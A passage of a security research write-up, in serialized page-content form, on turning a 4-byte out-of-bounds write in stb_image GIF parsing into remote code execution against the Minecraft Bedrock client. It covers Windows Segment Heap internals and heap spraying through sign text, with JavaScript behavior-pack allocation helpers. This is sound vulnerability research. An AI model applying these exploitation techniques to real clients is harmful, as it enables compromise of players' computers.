",{"type":23,"tag":141,"props":148003,"children":148004},{"style":148},[148005],{"type":29,"value":46935},{"type":23,"tag":141,"props":148007,"children":148008},{"style":472},[148009],{"type":29,"value":1707},{"type":23,"tag":141,"props":148011,"children":148012},{"style":154},[148013],{"type":29,"value":1684},{"type":23,"tag":141,"props":148015,"children":148016},{"class":143,"line":241},[148017,148022,148026,148030,148034,148039,148043,148047,148052,148056,148060,148064,148068,148072,148076,148080,148084,148088,148092],{"type":23,"tag":141,"props":148018,"children":148019},{"style":750},[148020],{"type":29,"value":148021}," g",{"type":23,"tag":141,"props":148023,"children":148024},{"style":154},[148025],{"type":29,"value":12435},{"type":23,"tag":141,"props":148027,"children":148028},{"style":750},[148029],{"type":29,"value":117206},{"type":23,"tag":141,"props":148031,"children":148032},{"style":160},[148033],{"type":29,"value":1674},{"type":23,"tag":141,"props":148035,"children":148036},{"style":154},[148037],{"type":29,"value":148038}," (stbi_uc ",{"type":23,"tag":141,"props":148040,"children":148041},{"style":160},[148042],{"type":29,"value":197},{"type":23,"tag":141,"props":148044,"children":148045},{"style":154},[148046],{"type":29,"value":1748},{"type":23,"tag":141,"props":148048,"children":148049},{"style":184},[148050],{"type":29,"value":148051},"stbi__malloc",{"type":23,"tag":141,"props":148053,"children":148054},{"style":154},[148055],{"type":29,"value":192},{"type":23,"tag":141,"props":148057,"children":148058},{"style":472},[148059],{"type":29,"value":16205},{"type":23,"tag":141,"props":148061,"children":148062},{"style":160},[148063],{"type":29,"value":8496},{"type":23,"tag":141,"props":148065,"children":148066},{"style":750},[148067],{"type":29,"value":146434},{"type":23,"tag":141,"props":148069,"children":148070},{"style":154},[148071],{"type":29,"value":12435},{"type":23,"tag":141,"props":148073,"children":148074},{"style":750},[148075],{"type":29,"value":48050},{"type":23,"tag":141,"props":148077,"children":148078},{"style":160},[148079],{"type":29,"value":8496},{"type":23,"tag":141,"props":148081,"children":148082},{"style":750},[148083],{"type":29,"value":146434},{"type":23,"tag":141,"props":148085,"children":148086},{"style":154},[148087],{"type":29,"value":12435},{"type":23,"tag":141,"props":148089,"children":148090},{"style":750},[148091],{"type":29,"value":82830},{"type":23,"tag":141,"props":148093,"children":148094},{"style":154},[148095],{"type":29,"value":2496},{"type":23,"tag":32,"props":148097,"children":148098},{},[148099,148101,148106,148108,148113],{"type":29,"value":148100},"And lastly, to figure out where the OOB bytes are written relative to the allocated buffer, we printed out the address range of ",{"type":23,"tag":38,"props":148102,"children":148104},{"className":148103},[],[148105],{"type":29,"value":146653},{"type":29,"value":148107}," and the value of ",{"type":23,"tag":38,"props":148109,"children":148111},{"className":148110},[],[148112],{"type":29,"value":32},{"type":29,"value":148114}," just before the OOB write happens:",{"type":23,"tag":131,"props":148116,"children":148118},{"code":148117},"g->out address range: [0x75d00d114800, 0x75d00d135800)\n[...]\np: 0x75d00d135800\n",[148119],{"type":23,"tag":38,"props":148120,"children":148121},{"__ignoreMap":7},[148122],{"type":29,"value":148117},{"type":23,"tag":32,"props":148124,"children":148125},{},[148126,148128,148133,148135,148140],{"type":29,"value":148127},"There are multiple within-bound writes to ",{"type":23,"tag":38,"props":148129,"children":148131},{"className":148130},[],[148132],{"type":29,"value":32},{"type":29,"value":148134},", but the last write happens just after the ",{"type":23,"tag":38,"props":148136,"children":148138},{"className":148137},[],[148139],{"type":29,"value":146653},{"type":29,"value":148141}," allocation.",{"type":23,"tag":8287,"props":148143,"children":148145},{"id":148144},"summarizing-the-corruption",[148146],{"type":29,"value":148147},"Summarizing the Corruption",{"type":23,"tag":15362,"props":148149,"children":148150},{},[148151,148164,148192],{"type":23,"tag":120,"props":148152,"children":148153},{},[148154,148156,148162],{"type":29,"value":148155},"A single ",{"type":23,"tag":38,"props":148157,"children":148159},{"className":148158},[],[148160],{"type":29,"value":148161},"0x01",{"type":29,"value":148163}," byte write OOB",{"type":23,"tag":120,"props":148165,"children":148166},{},[148167,148169],{"type":29,"value":148168},"4-byte OOB write just above the allocated buffer\n",{"type":23,"tag":15362,"props":148170,"children":148171},{},[148172,148177,148187],{"type":23,"tag":120,"props":148173,"children":148174},{},[148175],{"type":29,"value":148176},"First three bytes are controllable",{"type":23,"tag":120,"props":148178,"children":148179},{},[148180,148182],{"type":29,"value":148181},"Last byte will be ",{"type":23,"tag":38,"props":148183,"children":148185},{"className":148184},[],[148186],{"type":29,"value":111828},{"type":23,"tag":120,"props":148188,"children":148189},{},[148190],{"type":29,"value":148191},"Size of the allocation is controlled",{"type":23,"tag":120,"props":148193,"children":148194},{},[148195,148197],{"type":29,"value":148196},"Both corruptions are done on a short-lived allocation\n",{"type":23,"tag":15362,"props":148198,"children":148199},{},[148200,148205],{"type":23,"tag":120,"props":148201,"children":148202},{},[148203],{"type":29,"value":148204},"Allocated just before the image-parsing process",{"type":23,"tag":120,"props":148206,"children":148207},{},[148208],{"type":29,"value":148209},"Freed immediately upon parsing completion",{"type":23,"tag":17463,"props":148211,"children":148212},{},[],{"type":23,"tag":32,"props":148214,"children":148215},{},[148216,148218,148225,148227,148234],{"type":29,"value":148217},"Note that this bug was already found before (",{"type":23,"tag":55,"props":148219,"children":148222},{"href":148220,"rel":148221},"https://github.com/nothings/stb/issues/656",[59],[148223],{"type":29,"value":148224},"Github Issue",{"type":29,"value":148226},") but we missed it at the time. It was later fixed in ",{"type":23,"tag":55,"props":148228,"children":148231},{"href":148229,"rel":148230},"https://github.com/nothings/stb/commit/50b1bfba583b12ceb23ef949567bdd914461e524",[59],[148232],{"type":29,"value":148233},"this commit",{"type":29,"value":322},{"type":23,"tag":24,"props":148236,"children":148237},{"id":4093},[148238],{"type":29,"value":4096},{"type":23,"tag":32,"props":148240,"children":148241},{},[148242],{"type":29,"value":148243},"The memory corruption we had wasn't the easiest to exploit, especially on a remote target with ASLR, but it was the only one we had. We could've looked for another bug for information leaks but that wasn't interesting enough - we wanted to see if we can get RCE from the 4-byte memory corruption alone.",{"type":23,"tag":32,"props":148245,"children":148246},{},[148247],{"type":29,"value":148248},"Obviously four bytes alone aren't enough to get remote code execution in this case, so we looked for ways to turn the overflow into stronger primitives.",{"type":23,"tag":8287,"props":148250,"children":148252},{"id":148251},"searching-for-better-primitives",[148253],{"type":29,"value":148254},"Searching for Better Primitives",{"type":23,"tag":32,"props":148256,"children":148257},{},[148258],{"type":29,"value":148259},"The initial idea was to use the 4‑byte OOB to overflow into adjacent heap chunk headers and attack the allocator, but we weren't familiar with Windows allocator internals at the time, so we started investigating.",{"type":23,"tag":32,"props":148261,"children":148262},{},[148263,148265,148272],{"type":29,"value":148264},"We realized that Minecraft uses the Segment Heap - Microsoft's newer heap implementation that is used by the kernel and is the default for packaged / ",{"type":23,"tag":55,"props":148266,"children":148269},{"href":148267,"rel":148268},"https://learn.microsoft.com/en-us/windows/uwp/get-started/universal-application-platform-guide",[59],[148270],{"type":29,"value":148271},"UWP",{"type":29,"value":148273}," applications (such as Minecraft Bedrock Edition).",{"type":23,"tag":8287,"props":148275,"children":148277},{"id":148276},"segment-heap",[148278],{"type":29,"value":148279},"Segment Heap",{"type":23,"tag":32,"props":148281,"children":148282},{},[148283,148285,148292],{"type":29,"value":148284},"The internals of this heap implementation have been explored a number of times before (for an example in ",{"type":23,"tag":55,"props":148286,"children":148289},{"href":148287,"rel":148288},"https://i.blackhat.com/USA21/Wednesday-Handouts/us-21-Windows-Heap-Backed-Pool-The-Good-The-Bad-And-The-Encoded.pdf",[59],[148290],{"type":29,"value":148291},"this talk",{"type":29,"value":148293}," by Yarden Shafir), so we'll just summarize the two subsegment types relevant to this writeup.",{"type":23,"tag":17563,"props":148295,"children":148297},{"id":148296},"low-fragmentation-heap",[148298],{"type":29,"value":148299},"Low Fragmentation Heap",{"type":23,"tag":32,"props":148301,"children":148302},{},[148303,148305,148311],{"type":29,"value":148304},"Low Fragmentation Heap (LFH) services allocations of ",{"type":23,"tag":38,"props":148306,"children":148308},{"className":148307},[],[148309],{"type":29,"value":148310},"0x3ff0",{"type":29,"value":148312}," bytes or less when LFH for that size is enabled. LFH for a given size becomes enabled after 17 consecutive allocations of that size.",{"type":23,"tag":32,"props":148314,"children":148315},{},[148316],{"type":29,"value":148317},"Most importantly for us, chunks allocated in this subsegment do not have per‑chunk headers, and data from two adjacent chunks in LFH is not separated by allocator metadata.",{"type":23,"tag":131,"props":148319,"children":148321},{"code":148320}," +-------------------------+\nChunk A ----->| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\nChunk B ----->| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[148322],{"type":23,"tag":38,"props":148323,"children":148324},{"__ignoreMap":7},[148325],{"type":29,"value":148320},{"type":23,"tag":32,"props":148327,"children":148328},{},[148329],{"type":29,"value":148330},"This means that the 4‑byte OOB write could overwrite the first four bytes of the next chunk above, allowing us to target heap‑allocated internal structures in Minecraft instead of the allocator - the idea being that we could find a structure that has the first field either a reference count or a length field (for example) which we could directly corrupt with the overflow.",{"type":23,"tag":17563,"props":148332,"children":148334},{"id":148333},"variable-size",[148335],{"type":29,"value":148336},"Variable Size",{"type":23,"tag":32,"props":148338,"children":148339},{},[148340,148342,148348,148350,148356],{"type":29,"value":148341},"This subsegment is used for allocation sizes from ",{"type":23,"tag":38,"props":148343,"children":148345},{"className":148344},[],[148346],{"type":29,"value":148347},"0x4000",{"type":29,"value":148349}," and up to ",{"type":23,"tag":38,"props":148351,"children":148353},{"className":148352},[],[148354],{"type":29,"value":148355},"0x20_000",{"type":29,"value":148357},". Unlike LFH, the allocator will store chunk metadata in the headers of the allocated block.",{"type":23,"tag":131,"props":148359,"children":148361},{"code":148360}," +-------------------------+\n Chunk A ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk A Data ------------>| 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n | |\n | 41 41 41 41 41 41 41 41 |\n +-------------------------+\n Chunk B ----->| HEAP_VS_CHUNK_HEADER |\n +-------------------------+\nChunk B Data ------------>| 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 42 42 |\n | |\n | 42 42 42 42 42 42 . . . |\n | |\n",[148362],{"type":23,"tag":38,"props":148363,"children":148364},{"__ignoreMap":7},[148365],{"type":29,"value":148360},{"type":23,"tag":32,"props":148367,"children":148368},{},[148369,148371,148377],{"type":29,"value":148370},"The header, ",{"type":23,"tag":38,"props":148372,"children":148374},{"className":148373},[],[148375],{"type":29,"value":148376},"HEAP_VS_CHUNK_HEADER",{"type":29,"value":148378},", contains information such as block size and allocation status. Crucially, this header is XORed with a secret heap key. That encoding means that, unless the heap key is leaked, faking a chunk header with an overflow is not deterministic.",{"type":23,"tag":17463,"props":148380,"children":148381},{},[],{"type":23,"tag":32,"props":148383,"children":148384},{},[148385],{"type":29,"value":148386},"At this point there were two paths to explore: use the 4‑byte overflow in LFH to target Minecraft structures, or use the overflow in VS to target the allocator.",{"type":23,"tag":32,"props":148388,"children":148389},{},[148390,148392,148399],{"type":29,"value":148391},"Targeting the allocator looked difficult because the VS chunk header is encoded. Fortunately, a ",{"type":23,"tag":55,"props":148393,"children":148396},{"href":148394,"rel":148395},"https://web.archive.org/web/20250117163016/https://labs.bluefrostsecurity.de/blog.html/2022/08/16/windows-segment-heap-attacking-the-vs-allocator/",[59],[148397],{"type":29,"value":148398},"technique published",{"type":29,"value":148400}," by Blue Frost Security describes how to abuse a 3–4 byte overflow in the VS heap to reliably produce overlapping chunks.",{"type":23,"tag":32,"props":148402,"children":148403},{},[148404],{"type":29,"value":148405},"To target Minecraft structures in LFH, we needed to find a heap‑allocated object whose first field could be forged with four bytes (or less) - candidates included a reference counter or a length field. Overwriting such a field could yield a useful primitive (e.g., a use‑after‑free from a corrupted refcount, or a larger overflow / OOB read by corrupting a length field).",{"type":23,"tag":32,"props":148407,"children":148408},{},[148409],{"type":29,"value":148410},"In either case, we needed a way to spray the heap before we could proceed.",{"type":23,"tag":8287,"props":148412,"children":148414},{"id":148413},"finding-a-way-to-spray-the-heap",[148415],{"type":29,"value":148416},"Finding a Way to Spray the Heap",{"type":23,"tag":32,"props":148418,"children":148419},{},[148420],{"type":29,"value":148421},"We needed to find an object that the client allocates in response to a server-controlled action. Ideally, the server would be able to control:",{"type":23,"tag":15362,"props":148423,"children":148424},{},[148425,148430,148435,148440],{"type":23,"tag":120,"props":148426,"children":148427},{},[148428],{"type":29,"value":148429},"The size of the allocation",{"type":23,"tag":120,"props":148431,"children":148432},{},[148433],{"type":29,"value":148434},"The data written into the allocated buffer",{"type":23,"tag":120,"props":148436,"children":148437},{},[148438],{"type":29,"value":148439},"The allocation’s lifetime (i.e., allocated and freed through different server actions)",{"type":23,"tag":120,"props":148441,"children":148442},{},[148443],{"type":29,"value":148444},"The number of created objects (preferably unbounded)",{"type":23,"tag":32,"props":148446,"children":148447},{},[148448],{"type":29,"value":148449},"Not all of these conditions are strictly required, but an object satisfying all of them would be perfect for heap spraying. Eventually, we found exactly what we were looking for.",{"type":23,"tag":17563,"props":148451,"children":148453},{"id":148452},"minecraft-signs",[148454],{"type":29,"value":148455},"Minecraft Signs",{"type":23,"tag":32,"props":148457,"children":148458},{},[148459],{"type":29,"value":148460},"A sign is a block in Minecraft that can display arbitrary text. There is effectively no limit to how many signs can exist in a world (aside from resource constraints), and their lifetime is fully controllable: creating a sign results in an allocation, and removing it frees the associated memory.",{"type":23,"tag":32,"props":148462,"children":148463},{},[148464,148466,148472],{"type":29,"value":148465},"What we were specifically interested in was how the client stores the text displayed on a sign. After reversing the client, we found that the text is stored in a ",{"type":23,"tag":38,"props":148467,"children":148469},{"className":148468},[],[148470],{"type":29,"value":148471},"std::string",{"type":29,"value":322},{"type":23,"tag":32,"props":148474,"children":148475},{},[148476,148478,148483],{"type":29,"value":148477},"In Microsoft’s C++ implementation, ",{"type":23,"tag":38,"props":148479,"children":148481},{"className":148480},[],[148482],{"type":29,"value":148471},{"type":29,"value":148484}," is structured roughly as follows:",{"type":23,"tag":131,"props":148486,"children":148488},{"code":148487,"language":1807,"meta":7,"className":15191,"style":7},"struct string\n{\n union {\n char* ptr;\n char buf[16];\n };\n size_t size;\n size_t capacity;\n};\n",[148489],{"type":23,"tag":38,"props":148490,"children":148491},{"__ignoreMap":7},[148492,148503,148510,148522,148538,148562,148569,148580,148592],{"type":23,"tag":141,"props":148493,"children":148494},{"class":143,"line":144},[148495,148499],{"type":23,"tag":141,"props":148496,"children":148497},{"style":449},[148498],{"type":29,"value":8079},{"type":23,"tag":141,"props":148500,"children":148501},{"style":154},[148502],{"type":29,"value":83529},{"type":23,"tag":141,"props":148504,"children":148505},{"class":143,"line":180},[148506],{"type":23,"tag":141,"props":148507,"children":148508},{"style":154},[148509],{"type":29,"value":766},{"type":23,"tag":141,"props":148511,"children":148512},{"class":143,"line":205},[148513,148518],{"type":23,"tag":141,"props":148514,"children":148515},{"style":449},[148516],{"type":29,"value":148517}," union",{"type":23,"tag":141,"props":148519,"children":148520},{"style":154},[148521],{"type":29,"value":1951},{"type":23,"tag":141,"props":148523,"children":148524},{"class":143,"line":218},[148525,148530,148534],{"type":23,"tag":141,"props":148526,"children":148527},{"style":449},[148528],{"type":29,"value":148529}," char",{"type":23,"tag":141,"props":148531,"children":148532},{"style":160},[148533],{"type":29,"value":197},{"type":23,"tag":141,"props":148535,"children":148536},{"style":154},[148537],{"type":29,"value":15233},{"type":23,"tag":141,"props":148539,"children":148540},{"class":143,"line":227},[148541,148545,148550,148554,148558],{"type":23,"tag":141,"props":148542,"children":148543},{"style":449},[148544],{"type":29,"value":148529},{"type":23,"tag":141,"props":148546,"children":148547},{"style":750},[148548],{"type":29,"value":148549}," buf",{"type":23,"tag":141,"props":148551,"children":148552},{"style":154},[148553],{"type":29,"value":2399},{"type":23,"tag":141,"props":148555,"children":148556},{"style":472},[148557],{"type":29,"value":39319},{"type":23,"tag":141,"props":148559,"children":148560},{"style":154},[148561],{"type":29,"value":30042},{"type":23,"tag":141,"props":148563,"children":148564},{"class":143,"line":241},[148565],{"type":23,"tag":141,"props":148566,"children":148567},{"style":154},[148568],{"type":29,"value":37468},{"type":23,"tag":141,"props":148570,"children":148571},{"class":143,"line":262},[148572,148576],{"type":23,"tag":141,"props":148573,"children":148574},{"style":449},[148575],{"type":29,"value":15241},{"type":23,"tag":141,"props":148577,"children":148578},{"style":154},[148579],{"type":29,"value":123087},{"type":23,"tag":141,"props":148581,"children":148582},{"class":143,"line":271},[148583,148587],{"type":23,"tag":141,"props":148584,"children":148585},{"style":449},[148586],{"type":29,"value":15241},{"type":23,"tag":141,"props":148588,"children":148589},{"style":154},[148590],{"type":29,"value":148591}," capacity;\n",{"type":23,"tag":141,"props":148593,"children":148594},{"class":143,"line":293},[148595],{"type":23,"tag":141,"props":148596,"children":148597},{"style":154},[148598],{"type":29,"value":1357},{"type":23,"tag":32,"props":148600,"children":148601},{},[148602,148604,148610,148612,148617],{"type":29,"value":148603},"We are primarily interested in the union: ",{"type":23,"tag":38,"props":148605,"children":148607},{"className":148606},[],[148608],{"type":29,"value":148609},"buf",{"type":29,"value":148611}," is used when the string fits within 16 bytes, while ",{"type":23,"tag":38,"props":148613,"children":148615},{"className":148614},[],[148616],{"type":29,"value":542},{"type":29,"value":148618}," points to a heap-allocated buffer if the string exceeds that size. The allocated buffer contains only the string’s raw bytes.",{"type":23,"tag":32,"props":148620,"children":148621},{},[148622],{"type":29,"value":148623},"This means that for each sign whose text is longer than 16 bytes, the client allocates a heap buffer equal to the string length.",{"type":23,"tag":32,"props":148625,"children":148626},{},[148627],{"type":29,"value":148628},"This makes signs perfect for our needs - we can fully control the allocation size, lifetime, and contents of the heap buffer.",{"type":23,"tag":17563,"props":148630,"children":148632},{"id":148631},"spraying-with-server-side-scripting",[148633],{"type":29,"value":148634},"Spraying With Server-Side Scripting",{"type":23,"tag":32,"props":148636,"children":148637},{},[148638],{"type":29,"value":148639},"The simplest way to automatically manipulate the world is through server-side behavior packs. These packs are written in JavaScript and can control many aspects of the server.",{"type":23,"tag":32,"props":148641,"children":148642},{},[148643,148645,148651,148652,148658],{"type":29,"value":148644},"We wrote ",{"type":23,"tag":38,"props":148646,"children":148648},{"className":148647},[],[148649],{"type":29,"value":148650},"alloc",{"type":29,"value":313},{"type":23,"tag":38,"props":148653,"children":148655},{"className":148654},[],[148656],{"type":29,"value":148657},"free",{"type":29,"value":148659}," helpers that trigger an allocation in the client and free it on demand:",{"type":23,"tag":131,"props":148661,"children":148663},{"code":148662,"language":34086,"meta":7,"className":34084,"style":7},"// Allocate sign text in the client\nfunction alloc(size, fill=\"A\") {\n for (let sign of signs) {\n if (sign.allocated || sign.removed) {\n continue;\n }\n\n sign.sign.setText(fill.repeat(size - 1));\n sign.allocated = true;\n return sign;\n }\n\n console.warn(\"No more allocs\");\n return undefined;\n}\n\n// Free an allocated sign in the client\nfunction free(sign) {\n if (sign == undefined || sign.allocated == false) {\n return;\n }\n\n sign.sign.setText(\"\");\n sign.allocated = false;\n\n sign.block.setPermutation(\n BlockPermutation.resolve(\"minecraft:air\")\n );\n sign.removed = true;\n}\n",[148664],{"type":23,"tag":38,"props":148665,"children":148666},{"__ignoreMap":7},[148667,148675,148717,148750,148795,148807,148814,148821,148882,148909,148924,148931,148938,148967,148982,148989,148996,149004,149028,149079,149090,149097,149104,149141,149168,149175,149204,149234,149241,149268],{"type":23,"tag":141,"props":148668,"children":148669},{"class":143,"line":144},[148670],{"type":23,"tag":141,"props":148671,"children":148672},{"style":443},[148673],{"type":29,"value":148674},"// Allocate sign text in the client\n",{"type":23,"tag":141,"props":148676,"children":148677},{"class":143,"line":180},[148678,148682,148687,148691,148695,148699,148704,148708,148713],{"type":23,"tag":141,"props":148679,"children":148680},{"style":449},[148681],{"type":29,"value":29845},{"type":23,"tag":141,"props":148683,"children":148684},{"style":184},[148685],{"type":29,"value":148686}," alloc",{"type":23,"tag":141,"props":148688,"children":148689},{"style":154},[148690],{"type":29,"value":192},{"type":23,"tag":141,"props":148692,"children":148693},{"style":750},[148694],{"type":29,"value":122745},{"type":23,"tag":141,"props":148696,"children":148697},{"style":154},[148698],{"type":29,"value":480},{"type":23,"tag":141,"props":148700,"children":148701},{"style":750},[148702],{"type":29,"value":148703},"fill",{"type":23,"tag":141,"props":148705,"children":148706},{"style":160},[148707],{"type":29,"value":1377},{"type":23,"tag":141,"props":148709,"children":148710},{"style":828},[148711],{"type":29,"value":148712},"\"A\"",{"type":23,"tag":141,"props":148714,"children":148715},{"style":154},[148716],{"type":29,"value":13480},{"type":23,"tag":141,"props":148718,"children":148719},{"class":143,"line":205},[148720,148724,148728,148732,148737,148741,148746],{"type":23,"tag":141,"props":148721,"children":148722},{"style":148},[148723],{"type":29,"value":1692},{"type":23,"tag":141,"props":148725,"children":148726},{"style":154},[148727],{"type":29,"value":1220},{"type":23,"tag":141,"props":148729,"children":148730},{"style":449},[148731],{"type":29,"value":10467},{"type":23,"tag":141,"props":148733,"children":148734},{"style":750},[148735],{"type":29,"value":148736}," sign",{"type":23,"tag":141,"props":148738,"children":148739},{"style":449},[148740],{"type":29,"value":9043},{"type":23,"tag":141,"props":148742,"children":148743},{"style":750},[148744],{"type":29,"value":148745}," signs",{"type":23,"tag":141,"props":148747,"children":148748},{"style":154},[148749],{"type":29,"value":13480},{"type":23,"tag":141,"props":148751,"children":148752},{"class":143,"line":218},[148753,148757,148761,148766,148770,148775,148779,148783,148787,148791],{"type":23,"tag":141,"props":148754,"children":148755},{"style":148},[148756],{"type":29,"value":233},{"type":23,"tag":141,"props":148758,"children":148759},{"style":154},[148760],{"type":29,"value":1220},{"type":23,"tag":141,"props":148762,"children":148763},{"style":750},[148764],{"type":29,"value":148765},"sign",{"type":23,"tag":141,"props":148767,"children":148768},{"style":154},[148769],{"type":29,"value":322},{"type":23,"tag":141,"props":148771,"children":148772},{"style":750},[148773],{"type":29,"value":148774},"allocated",{"type":23,"tag":141,"props":148776,"children":148777},{"style":160},[148778],{"type":29,"value":22380},{"type":23,"tag":141,"props":148780,"children":148781},{"style":750},[148782],{"type":29,"value":148736},{"type":23,"tag":141,"props":148784,"children":148785},{"style":154},[148786],{"type":29,"value":322},{"type":23,"tag":141,"props":148788,"children":148789},{"style":750},[148790],{"type":29,"value":131450},{"type":23,"tag":141,"props":148792,"children":148793},{"style":154},[148794],{"type":29,"value":13480},{"type":23,"tag":141,"props":148796,"children":148797},{"class":143,"line":227},[148798,148803],{"type":23,"tag":141,"props":148799,"children":148800},{"style":148},[148801],{"type":29,"value":148802}," continue",{"type":23,"tag":141,"props":148804,"children":148805},{"style":154},[148806],{"type":29,"value":1684},{"type":23,"tag":141,"props":148808,"children":148809},{"class":143,"line":241},[148810],{"type":23,"tag":141,"props":148811,"children":148812},{"style":154},[148813],{"type":29,"value":2008},{"type":23,"tag":141,"props":148815,"children":148816},{"class":143,"line":262},[148817],{"type":23,"tag":141,"props":148818,"children":148819},{"emptyLinePlaceholder":15},[148820],{"type":29,"value":719},{"type":23,"tag":141,"props":148822,"children":148823},{"class":143,"line":271},[148824,148829,148833,148837,148841,148846,148850,148854,148858,148862,148866,148870,148874,148878],{"type":23,"tag":141,"props":148825,"children":148826},{"style":750},[148827],{"type":29,"value":148828}," sign",{"type":23,"tag":141,"props":148830,"children":148831},{"style":154},[148832],{"type":29,"value":322},{"type":23,"tag":141,"props":148834,"children":148835},{"style":750},[148836],{"type":29,"value":148765},{"type":23,"tag":141,"props":148838,"children":148839},{"style":154},[148840],{"type":29,"value":322},{"type":23,"tag":141,"props":148842,"children":148843},{"style":184},[148844],{"type":29,"value":148845},"setText",{"type":23,"tag":141,"props":148847,"children":148848},{"style":154},[148849],{"type":29,"value":192},{"type":23,"tag":141,"props":148851,"children":148852},{"style":750},[148853],{"type":29,"value":148703},{"type":23,"tag":141,"props":148855,"children":148856},{"style":154},[148857],{"type":29,"value":322},{"type":23,"tag":141,"props":148859,"children":148860},{"style":184},[148861],{"type":29,"value":131700},{"type":23,"tag":141,"props":148863,"children":148864},{"style":154},[148865],{"type":29,"value":192},{"type":23,"tag":141,"props":148867,"children":148868},{"style":750},[148869],{"type":29,"value":122745},{"type":23,"tag":141,"props":148871,"children":148872},{"style":160},[148873],{"type":29,"value":49734},{"type":23,"tag":141,"props":148875,"children":148876},{"style":472},[148877],{"type":29,"value":3198},{"type":23,"tag":141,"props":148879,"children":148880},{"style":154},[148881],{"type":29,"value":5897},{"type":23,"tag":141,"props":148883,"children":148884},{"class":143,"line":293},[148885,148889,148893,148897,148901,148905],{"type":23,"tag":141,"props":148886,"children":148887},{"style":750},[148888],{"type":29,"value":148828},{"type":23,"tag":141,"props":148890,"children":148891},{"style":154},[148892],{"type":29,"value":322},{"type":23,"tag":141,"props":148894,"children":148895},{"style":750},[148896],{"type":29,"value":148774},{"type":23,"tag":141,"props":148898,"children":148899},{"style":160},[148900],{"type":29,"value":1674},{"type":23,"tag":141,"props":148902,"children":148903},{"style":449},[148904],{"type":29,"value":11148},{"type":23,"tag":141,"props":148906,"children":148907},{"style":154},[148908],{"type":29,"value":1684},{"type":23,"tag":141,"props":148910,"children":148911},{"class":143,"line":801},[148912,148916,148920],{"type":23,"tag":141,"props":148913,"children":148914},{"style":148},[148915],{"type":29,"value":14420},{"type":23,"tag":141,"props":148917,"children":148918},{"style":750},[148919],{"type":29,"value":148736},{"type":23,"tag":141,"props":148921,"children":148922},{"style":154},[148923],{"type":29,"value":1684},{"type":23,"tag":141,"props":148925,"children":148926},{"class":143,"line":810},[148927],{"type":23,"tag":141,"props":148928,"children":148929},{"style":154},[148930],{"type":29,"value":299},{"type":23,"tag":141,"props":148932,"children":148933},{"class":143,"line":824},[148934],{"type":23,"tag":141,"props":148935,"children":148936},{"emptyLinePlaceholder":15},[148937],{"type":29,"value":719},{"type":23,"tag":141,"props":148939,"children":148940},{"class":143,"line":839},[148941,148945,148949,148954,148958,148963],{"type":23,"tag":141,"props":148942,"children":148943},{"style":750},[148944],{"type":29,"value":29907},{"type":23,"tag":141,"props":148946,"children":148947},{"style":154},[148948],{"type":29,"value":322},{"type":23,"tag":141,"props":148950,"children":148951},{"style":184},[148952],{"type":29,"value":148953},"warn",{"type":23,"tag":141,"props":148955,"children":148956},{"style":154},[148957],{"type":29,"value":192},{"type":23,"tag":141,"props":148959,"children":148960},{"style":828},[148961],{"type":29,"value":148962},"\"No more allocs\"",{"type":23,"tag":141,"props":148964,"children":148965},{"style":154},[148966],{"type":29,"value":2496},{"type":23,"tag":141,"props":148968,"children":148969},{"class":143,"line":848},[148970,148974,148978],{"type":23,"tag":141,"props":148971,"children":148972},{"style":148},[148973],{"type":29,"value":15665},{"type":23,"tag":141,"props":148975,"children":148976},{"style":449},[148977],{"type":29,"value":37809},{"type":23,"tag":141,"props":148979,"children":148980},{"style":154},[148981],{"type":29,"value":1684},{"type":23,"tag":141,"props":148983,"children":148984},{"class":143,"line":2304},[148985],{"type":23,"tag":141,"props":148986,"children":148987},{"style":154},[148988],{"type":29,"value":2573},{"type":23,"tag":141,"props":148990,"children":148991},{"class":143,"line":2313},[148992],{"type":23,"tag":141,"props":148993,"children":148994},{"emptyLinePlaceholder":15},[148995],{"type":29,"value":719},{"type":23,"tag":141,"props":148997,"children":148998},{"class":143,"line":2335},[148999],{"type":23,"tag":141,"props":149000,"children":149001},{"style":443},[149002],{"type":29,"value":149003},"// Free an allocated sign in the client\n",{"type":23,"tag":141,"props":149005,"children":149006},{"class":143,"line":2343},[149007,149011,149016,149020,149024],{"type":23,"tag":141,"props":149008,"children":149009},{"style":449},[149010],{"type":29,"value":29845},{"type":23,"tag":141,"props":149012,"children":149013},{"style":184},[149014],{"type":29,"value":149015}," free",{"type":23,"tag":141,"props":149017,"children":149018},{"style":154},[149019],{"type":29,"value":192},{"type":23,"tag":141,"props":149021,"children":149022},{"style":750},[149023],{"type":29,"value":148765},{"type":23,"tag":141,"props":149025,"children":149026},{"style":154},[149027],{"type":29,"value":13480},{"type":23,"tag":141,"props":149029,"children":149030},{"class":143,"line":2352},[149031,149035,149039,149043,149047,149051,149055,149059,149063,149067,149071,149075],{"type":23,"tag":141,"props":149032,"children":149033},{"style":148},[149034],{"type":29,"value":151},{"type":23,"tag":141,"props":149036,"children":149037},{"style":154},[149038],{"type":29,"value":1220},{"type":23,"tag":141,"props":149040,"children":149041},{"style":750},[149042],{"type":29,"value":148765},{"type":23,"tag":141,"props":149044,"children":149045},{"style":160},[149046],{"type":29,"value":1942},{"type":23,"tag":141,"props":149048,"children":149049},{"style":449},[149050],{"type":29,"value":37809},{"type":23,"tag":141,"props":149052,"children":149053},{"style":160},[149054],{"type":29,"value":22380},{"type":23,"tag":141,"props":149056,"children":149057},{"style":750},[149058],{"type":29,"value":148736},{"type":23,"tag":141,"props":149060,"children":149061},{"style":154},[149062],{"type":29,"value":322},{"type":23,"tag":141,"props":149064,"children":149065},{"style":750},[149066],{"type":29,"value":148774},{"type":23,"tag":141,"props":149068,"children":149069},{"style":160},[149070],{"type":29,"value":1942},{"type":23,"tag":141,"props":149072,"children":149073},{"style":449},[149074],{"type":29,"value":7735},{"type":23,"tag":141,"props":149076,"children":149077},{"style":154},[149078],{"type":29,"value":13480},{"type":23,"tag":141,"props":149080,"children":149081},{"class":143,"line":2421},[149082,149086],{"type":23,"tag":141,"props":149083,"children":149084},{"style":148},[149085],{"type":29,"value":14420},{"type":23,"tag":141,"props":149087,"children":149088},{"style":154},[149089],{"type":29,"value":1684},{"type":23,"tag":141,"props":149091,"children":149092},{"class":143,"line":2429},[149093